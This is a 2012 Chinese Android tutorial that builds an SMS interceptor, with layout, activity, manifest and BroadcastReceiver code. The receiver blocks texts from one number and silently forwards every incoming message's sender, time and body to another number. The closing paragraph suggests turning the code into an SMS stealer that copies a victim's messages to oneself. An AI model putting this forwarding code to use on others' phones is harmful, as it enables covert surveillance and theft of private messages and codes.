本文为大家提供一个短信拦截器的Android开发实例,详细演示如何实现短信拦截。

       该短信拦截器主要通过两种方式来实现拦截,第一种是在AndroidManifest.xml中设置进行直接拦截,第二种则是通过手动注册来设置拦截。这其中会涉及到在文档中查阅短信收发的一些权限说明。

       下面贴上这个短信拦截器程序的代码,与大家分享。

       main.xml layout:

XML/HTML代码
  1. <?xml version="1.0" encoding="utf-8"?>    
  2. <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"    
  3. android:orientation="vertical"    
  4. android:layout_width="fill_parent"    
  5. android:layout_height="fill_parent"    
  6. >    
  7. <Button    
  8. android:layout_width="fill_parent"    
  9. android:layout_height="wrap_content"    
  10. android:text="注册拦截"    
  11. android:onClick="regiset"    
  12. />    
  13. <Button    
  14. android:layout_width="fill_parent"    
  15. android:layout_height="wrap_content"    
  16. android:text="解注册拦截"    
  17. android:onClick="unregiset"    
  18. />    
  19. </LinearLayout>   

       首页显示的SmsListenerActivity:

Java代码
  1. package com.tk178zhe.android.SmsListener;    
  2.   
  3. import android.app.Activity;    
  4. import android.content.IntentFilter;    
  5. import android.os.Bundle;    
  6. import android.view.View;    
  7. import android.widget.Toast;    
  8.   
  9. public class SmsListenerActivity extends Activity {    
  10. private SmsRecevier recevier;    
  11. private boolean isregiset = false;    
  12. private static final String ACTION = "android.provider.Telephony.SMS_RECEIVED";    
  13.   
  14. @Override    
  15. public void onCreate(Bundle savedInstanceState) {    
  16. super.onCreate(savedInstanceState);    
  17. setContentView(R.layout.main);    
  18. recevier = new SmsRecevier();    
  19. }    
  20. public void regiset(View v) {    
  21. IntentFilter filter = new IntentFilter(ACTION);    
  22. filter.setPriority(1000);//设置优先级最大    
  23. registerReceiver(recevier, filter);    
  24. isregiset = true;    
  25. Toast.makeText(this"注册成功"0).show();    
  26. }    
  27.   
  28. public void unregiset(View v) {    
  29. if (recevier != null && isregiset) {    
  30. unregisterReceiver(recevier);    
  31. isregiset = false;    
  32. Toast.makeText(this"解注册成功"0).show();    
  33. else    
  34. Toast.makeText(this"尚未注册"0).show();    
  35. }    
  36. @Override    
  37. protected void onDestroy() {    
  38. super.onDestroy();    
  39. if (recevier != null && isregiset) {    
  40. unregisterReceiver(recevier);    
  41. isregiset = false;    
  42. Toast.makeText(this"解注册成功"0).show();    
  43. }    
  44. }    
  45. }   

       如果是利用手动的来注册拦截,那么就不需要在AndroidManifest.xml中设置recevier了。不过利用手动的来设置拦截,那就和做的这个拦截器的需要不相符了,这里我只是为了更加明显的说明广播的机制。

       AndroidManifest.xml:

XML/HTML代码
  1. <?xml version="1.0" encoding="utf-8"?>    
  2. <manifest xmlns:android="http://schemas.android.com/apk/res/android"    
  3. package="com.tk178zhe.android.SmsListener"    
  4. android:versionCode="1"    
  5. android:versionName="1.0">    
  6. <uses-sdk android:minSdkVersion="8" />    
  7.   
  8. <application android:icon="@drawable/icon" android:label="@string/app_name">    
  9. <activity android:name=".SmsListenerActivity"    
  10. android:label="@string/app_name">    
  11. <intent-filter>    
  12. <action android:name="android.intent.action.MAIN" />    
  13. <category android:name="android.intent.category.LAUNCHER" />    
  14. </intent-filter>    
  15. </activity>    
  16. <!-- 这是隐式的设置receiver 我们做的这个拦截器需要这样去做    
  17. <receiver android:name=".SmsRecevier">    
  18. <intent-filter android:priority="1000"> 将优先级设到最大    
  19. <action android:name="android.provider.Telephony.SMS_RECEIVED" />    
  20. </intent-filter>    
  21. </receiver>    
  22. -->    
  23. </application>    
  24. <uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信权限 -->    
  25. <uses-permission android:name="android.permission.SEND_SMS"/><!-- 发送短信权限 -->    
  26. <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />    
  27. </manifest>   

       SmsRecevier类派生于BroadcastReceiver,用作拦截信息:

Java代码
  1. package com.tk178zhe.android.android;    
  2.   
  3. import java.text.SimpleDateFormat;    
  4. import java.util.Date;    
  5.   
  6. import android.content.BroadcastReceiver;    
  7. import android.content.Context;    
  8. import android.content.Intent;    
  9. import android.telephony.SmsManager;    
  10. import android.telephony.SmsMessage;    
  11. import android.util.Log;    
  12.   
  13. public class SmsRecevier extends BroadcastReceiver {    
  14. public SmsRecevier() {    
  15. Log.v("TAG""SmsRecevier create");    
  16. }    
  17.   
  18. @Override    
  19. public void onReceive(Context context, Intent intent) {    
  20. Log.v("TAG""SmsRecevier onReceive");    
  21. Object[] pdus = (Object[]) intent.getExtras().get("pdus");    
  22. if (pdus != null && pdus.length > 0) {    
  23. SmsMessage[] messages = new SmsMessage[pdus.length];    
  24. for (int i = 0; i < pdus.length; i++) {    
  25. byte[] pdu = (byte[]) pdus[i];    
  26. messages[i] = SmsMessage.createFromPdu(pdu);    
  27. }    
  28. for (SmsMessage message : messages) {    
  29. String content = message.getMessageBody();// 得到短信内容    
  30. String sender = message.getOriginatingAddress();// 得到发信息的号码    
  31. if (sender.equals("110")) {    
  32. abortBroadcast();// 中止发送    
  33. Log.e("TAG""此号码为黑名单号码,已拦截!");    
  34. }    
  35. Date date = new Date(message.getTimestampMillis());    
  36. SimpleDateFormat format = new SimpleDateFormat(    
  37. "yyyy-MM-dd HH:mm:ss");    
  38. String sendContent = format.format(date) + ":" + sender + "--"    
  39. + content;    
  40. SmsManager smsManager = SmsManager.getDefault();// 发信息时需要的    
  41. smsManager.sendTextMessage(""null, sendContent, null,    
  42. null);// 转发给    
  43. Log.v("TAG", sendContent);    
  44. }    
  45. }    
  46. }    
  47. }   

       这样一个短信拦截器就做好了,当110这个号码给别人发信息时,就会被拦截,转发给178。我们可以通过Log的打印信息来观察结果。

       延伸一下,我们也可以做一个不拦截,但是可以窃取短信的短信窃取器。怎么做呢?和上面差不多,只是不需要拦截了,而是利用短信在发送给指定人的同时让它也发给自己,这样就可以做到轻而易举的窃取别人的信息内容了。

本文发布:Android开发网
本文地址:http://www.jizhuomi.com/android/example/98.html
2012年7月3日
发布:鸡啄米 分类:Android开发实例 浏览: 评论:2